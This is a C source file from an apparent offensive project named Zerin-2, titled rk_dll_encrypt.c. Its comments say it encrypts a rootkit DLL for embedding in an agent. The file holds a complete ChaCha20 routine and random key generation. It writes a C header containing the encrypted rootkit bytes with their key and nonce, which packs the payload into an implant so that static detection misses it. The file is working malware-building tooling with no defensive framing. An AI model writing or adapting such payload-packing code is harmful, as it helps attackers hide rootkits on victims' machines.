Files
Zerin-2/tools/rk_dll_encrypt.c
T

219 lines
6.8 KiB
C
Raw Normal View History

2026-08-27 11:03:10 -06:00
/*
* rk_dll_encrypt.c - Encrypt rootkit DLL for embedding in the agent.
*
* Reads a DLL binary, encrypts it with a random ChaCha20 key, and outputs
* a C header file containing the encrypted bytes, key, and nonce.
*
* Usage: rk_dll_encrypt.exe <input.dll> <output.h>
*
* Compile: gcc -O2 -o rk_dll_encrypt.exe rk_dll_encrypt.c -lbcrypt
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#ifdef _WIN32
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt")
#endif
/* ======================================================================
* ChaCha20 implementation (RFC 8439)
* ====================================================================== */
#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))
#define QR(a, b, c, d) do { \
a += b; d ^= a; d = ROTL32(d, 16); \
c += d; b ^= c; b = ROTL32(b, 12); \
a += b; d ^= a; d = ROTL32(d, 8); \
c += d; b ^= c; b = ROTL32(b, 7); \
} while(0)
static uint32_t load_le32(const uint8_t *p) {
return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |
((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
}
static void chacha20_encrypt(const uint8_t key[32], const uint8_t nonce[12],
const uint8_t *in, uint8_t *out, size_t len) {
uint32_t state[16];
state[0] = 0x61707865; state[1] = 0x3320646e;
state[2] = 0x79622d32; state[3] = 0x6b206574;
for (int i = 0; i < 8; i++)
state[4 + i] = load_le32(key + i * 4);
state[12] = 0;
state[13] = load_le32(nonce);
state[14] = load_le32(nonce + 4);
state[15] = load_le32(nonce + 8);
size_t offset = 0;
while (offset < len) {
uint32_t x[16];
memcpy(x, state, 64);
for (int i = 0; i < 10; i++) {
QR(x[0], x[4], x[ 8], x[12]);
QR(x[1], x[5], x[ 9], x[13]);
QR(x[2], x[6], x[10], x[14]);
QR(x[3], x[7], x[11], x[15]);
QR(x[0], x[5], x[10], x[15]);
QR(x[1], x[6], x[11], x[12]);
QR(x[2], x[7], x[ 8], x[13]);
QR(x[3], x[4], x[ 9], x[14]);
}
uint8_t block[64];
for (int i = 0; i < 16; i++) {
uint32_t val = x[i] + state[i];
block[i*4+0] = (uint8_t)(val);
block[i*4+1] = (uint8_t)(val >> 8);
block[i*4+2] = (uint8_t)(val >> 16);
block[i*4+3] = (uint8_t)(val >> 24);
}
state[12]++;
size_t chunk = len - offset;
if (chunk > 64) chunk = 64;
for (size_t i = 0; i < chunk; i++)
out[offset + i] = in[offset + i] ^ block[i];
offset += chunk;
}
}
/* ======================================================================
* Random bytes
* ====================================================================== */
static int random_bytes(uint8_t *buf, size_t len) {
#ifdef _WIN32
NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len,
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
return (status >= 0) ? 0 : -1;
#else
FILE *f = fopen("/dev/urandom", "rb");
if (!f) return -1;
size_t r = fread(buf, 1, len, f);
fclose(f);
return (r == len) ? 0 : -1;
#endif
}
/* ======================================================================
* Main
* ====================================================================== */
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <input.dll> <output.h>\n", argv[0]);
return 1;
}
const char *input_path = argv[1];
const char *output_path = argv[2];
/* Read input DLL */
FILE *fin = fopen(input_path, "rb");
if (!fin) {
fprintf(stderr, "ERROR: Cannot open input file: %s\n", input_path);
return 1;
}
fseek(fin, 0, SEEK_END);
long file_size = ftell(fin);
fseek(fin, 0, SEEK_SET);
if (file_size <= 0 || file_size > 100 * 1024 * 1024) {
fprintf(stderr, "ERROR: Invalid file size: %ld\n", file_size);
fclose(fin);
return 1;
}
uint8_t *dll_data = (uint8_t *)malloc((size_t)file_size);
if (!dll_data) {
fprintf(stderr, "ERROR: malloc failed\n");
fclose(fin);
return 1;
}
if (fread(dll_data, 1, (size_t)file_size, fin) != (size_t)file_size) {
fprintf(stderr, "ERROR: Failed to read input file\n");
free(dll_data);
fclose(fin);
return 1;
}
fclose(fin);
/* Generate random key and nonce */
uint8_t key[32], nonce[12];
if (random_bytes(key, 32) != 0 || random_bytes(nonce, 12) != 0) {
fprintf(stderr, "ERROR: Failed to generate random bytes\n");
free(dll_data);
return 1;
}
/* Encrypt DLL */
uint8_t *enc_data = (uint8_t *)malloc((size_t)file_size);
if (!enc_data) {
fprintf(stderr, "ERROR: malloc failed\n");
free(dll_data);
return 1;
}
chacha20_encrypt(key, nonce, dll_data, enc_data, (size_t)file_size);
free(dll_data);
/* Write output header */
FILE *fout = fopen(output_path, "w");
if (!fout) {
fprintf(stderr, "ERROR: Cannot open output file: %s\n", output_path);
free(enc_data);
return 1;
}
fprintf(fout, "// Auto-generated by rk_dll_encrypt - DO NOT EDIT\n");
fprintf(fout, "// Rootkit DLL: %ld bytes (ChaCha20 encrypted)\n", file_size);
fprintf(fout, "#ifndef RK_DLL_BYTES_H\n");
fprintf(fout, "#define RK_DLL_BYTES_H\n\n");
/* Key */
fprintf(fout, "static const unsigned char RK_DLL_KEY[32] = {\n ");
for (int i = 0; i < 32; i++) {
fprintf(fout, "0x%02X", key[i]);
if (i < 31) fprintf(fout, ", ");
if ((i + 1) % 16 == 0 && i < 31) fprintf(fout, "\n ");
}
fprintf(fout, "\n};\n\n");
/* Nonce */
fprintf(fout, "static const unsigned char RK_DLL_NONCE[12] = {\n ");
for (int i = 0; i < 12; i++) {
fprintf(fout, "0x%02X", nonce[i]);
if (i < 11) fprintf(fout, ", ");
}
fprintf(fout, "\n};\n\n");
/* Encrypted data */
fprintf(fout, "static const unsigned char RK_DLL_ENC[] = {");
for (long i = 0; i < file_size; i++) {
if (i % 16 == 0) fprintf(fout, "\n ");
fprintf(fout, "0x%02X", enc_data[i]);
if (i < file_size - 1) fprintf(fout, ", ");
}
fprintf(fout, "\n};\n\n");
fprintf(fout, "static const unsigned int RK_DLL_ENC_SIZE = %lu;\n\n", (unsigned long)file_size);
fprintf(fout, "#endif // RK_DLL_BYTES_H\n");
fclose(fout);
free(enc_data);
/* Clear key from memory */
memset(key, 0, sizeof(key));
memset(nonce, 0, sizeof(nonce));
printf("Encrypted %ld bytes -> %s\n", file_size, output_path);
return 0;
}